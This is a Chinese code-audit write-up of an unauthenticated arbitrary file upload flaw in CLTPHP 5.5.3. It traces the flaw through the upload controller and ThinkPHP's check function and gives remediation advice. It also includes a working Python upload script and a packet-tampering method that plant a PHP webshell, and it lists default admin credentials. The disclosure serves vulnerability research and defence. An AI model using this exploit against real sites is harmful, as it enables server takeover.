【代码审计】CLTPHP_v5.5.3 前台任意文件上传漏洞分析
0x00 环境准备
CLTPHP官网:http://www.cltphp.com
网站源码版本:CLTPHP内容管理系统5.5.3版本
程序源码下载:https://gitee.com/chichu/cltphp
默认后台地址: http://127.0.0.1/admin/login/index.html
默认账号密码: 后台登录名:admin 密码:admin123
测试网站首页:

0x01 代码分析
1、漏洞文件位置:/app/user/controller/UpFiles.php 第5-25行:

在这段函数中,未经用户权限验证,获取表单内容,存在越权绕过上传的情况。我们继续跟进move函数:
2、文件位置:/think/library/think/File.php 第329-377行:

在这段函数中,经过一系列检测后上传文件,我们重点来看一下check验证上传函数。
3、文件位置:/think/library/think/File.php 第218-245行:

在check函数中检查文件大小、Mime类型、文件后缀等,主要是从数组$rule中获取,check函数未带入参数$rule,故$rule采用默认值,我们看一下$rule的值

在同文件中$rule默认值为date,调用ThinkPHP的上传函数,但配置不当导致过滤函数chenk无效,导致程序在实现存在任意文件上传漏洞,攻击者无需任何权限,可直接上传恶意脚本,控制网站服务器权限。
0x02 漏洞利用
利用方式一:
1、 通过编写Python脚本,模拟Ajax 异步请求,
Python’脚本如下:
- #!/usr/bin/python
- #-*- coding: UTF-8 -*-
- import requests
- header = { 'User-Agent' : 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)' ,
- 'X-Requested-With': 'XMLHttpRequest',}
- url = "http://127.0.0.1/user/upFiles/upload"
- files ={'file':('1.php',open('1.php','rb'),'image/jpeg')}
- res = requests.post(url, files=files,headers=header)
10. print res.text
2、在同一目录下放置脚本和1.php文件名的小马,运行Python脚本,成功上传木马并返回路径。

3、访问url,成功getshell

利用方式二:
1、在前台注册一个用户test,登录会员中心

2、在会员中心—设置—上传图片马(包含一句话)—抓包改包为php后缀名


3、访问shell地址,成功获取网站权限
http://127.0.0.1/public/uploads/20180309/64a211154e71c05795a9f901860b62b9.php

0x03 修复建议
1、添加上传页面的认证,通过白名单限制上传文件后缀;
2、禁止上传目录脚本执行权限。
最后
欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。

【代码审计】CLTPHP_v5.5.3 前台任意文件上传漏洞分析的更多相关文章
- 【代码审计】CLTPHP_v5.5.3 前台任意文件上传漏洞
0x00 环境准备 CLTPHP官网:http://www.cltphp.com 网站源码版本:CLTPHP内容管理系统5.5.3版本 程序源码下载:https://gitee.com/chichu/ ...
- 【代码审计】QYKCMS_v4.3.2 任意文件上传漏洞分析
0x00 环境准备 QYKCMS官网:http://www.qykcms.com/ 网站源码版本:QYKCMS_v4.3.2(企业站主题) 程序源码下载:http://bbs.qingyunke. ...
- 【代码审计】JTBC(CMS)_PHP_v3.0 任意文件上传漏洞分析
0x00 环境准备 JTBC(CMS)官网:http://www.jtbc.cn 网站源码版本:JTBC_CMS_PHP(3.0) 企业版 程序源码下载:http://download.jtbc. ...
- 【代码审计】BootCMS v1.1.3 文件上传漏洞分析
0x00 环境准备 BootCMS官网:http://www.kilofox.net 网站源码版本:BootCMS v1.1.3 发布日期:2016年10月17日 程序源码下载:http://w ...
- UEditor编辑器两个版本任意文件上传漏洞分析
0x01 前言 UEditor是由百度WEB前端研发部开发的所见即所得的开源富文本编辑器,具有轻量.可定制.用户体验优秀等特点 ,被广大WEB应用程序所使用:本次爆出的高危漏洞属于.NET版本,其它的 ...
- [转]UEditor编辑器两个版本任意文件上传漏洞分析
0x01 前言 UEditor是由百度WEB前端研发部开发的所见即所得的开源富文本编辑器,具有轻量.可定制.用户体验优秀等特点 ,被广大WEB应用程序所使用:本次爆出的高危漏洞属于.NET版本,其它的 ...
- 关于finecms v5 会员头像 任意文件上传漏洞分析
看到我私藏的一个洞被别人提交到补天拿奖金,所以我干脆在社区这里分享,给大家学习下 本文原创作者:常威,本文属i春秋原创奖励计划,未经许可禁止转载! 1.定位功能 下载源码在本地搭建起来后,正常登陆了用 ...
- PHPCMS v9.6.0 任意文件上传漏洞分析
引用源:http://paper.seebug.org/273/ 配置了php debug的环境,并且根据这篇文章把流程走了一遍,对phpstorm的debug熟练度+1(跟pycharm一样) 用户 ...
- 代码审计之XiaoCms(后台任意文件上传至getshell,任意目录删除,会话固定漏洞)
0x00 前言 这段时间就一直在搞代码审计了.针对自己的审计方法做一下总结,记录一下步骤. 审计没他,基础要牢,思路要清晰,姿势要多且正. 下面是自己审计的步骤,正在逐步调整,寻求效率最高. 0x01 ...
随机推荐
- webpack6--css 背景图片处理
当css里面含有背景图片,用webpack打包时会报如下错: 如何处理这个问题呢? 我们需要借助于 file-loader 和 url-loader 这2个包. 下面具体说一下步骤: 1.安装 fi ...
- Claims-Based Authentication and Authorization
Introduction You can download the Visual Studio solutions for this article at this location. With al ...
- HBase高性能复杂条件查询引擎
转自:http://blog.csdn.net/bluishglc/article/details/31799255 mark 写在前面 本文2014年7月份发表于InfoQ,HBase的PMC成员T ...
- RIP路由协议及工作原理
RIP路由协议及工作原理 RIP(Routing information Protocol,路由信息协议)是应用较早.使用较普遍的内部网关协议(Interior Gateway Protocol,IG ...
- Android Http 与断点续传
HttpURLConnection conn = (HttpURLConnection) url.openConnection(); conn.setRequestM ...
- 【JavaScript学习】JavaScript对象创建
1.最简单的方法,创建一个对象,然后添加属性 var person = new Object(); person.age = 23; person.name = "David"; ...
- 技能UP:SAP OBYC自动记账的实例说明(含value String应用说明)
一. 自动过账原理 在MM模块的许多操作都能实现在FI模块自动过账,如PO收货.发票验证(LIV).工单发料.向生产车间发料等等.不用说,一定需要在IMG中进行配置才可以实现自动处理.但SAP实现的这 ...
- OpenGL中的二维编程——从简单的矩形开始
一.OpenGL的组成 图元函数(primitive function)指定要生成屏幕图像的图元.包括两种类型:可以在二维.三维或者四维空间进行定义的几何图元,如多边形:离散实体:位图. 属性函数(a ...
- Hessian示例:Java和C#通信
一个简单的利用Hessian在Java和C#之间通信的例子,服务端为Java,客户端为C#. 资源下载 先要准备好C#和Java的第三方类库:http://hessian.caucho.com/ Hs ...
- (原创)Python文件与文件系统系列(3)——os.path模块
os.path 模块实现了一些操作路径名字符串的函数,可以通过 import os.path 使用该模块,不过即使仅仅 import os 也可以使用该模块的方法. 1. abspath(path) ...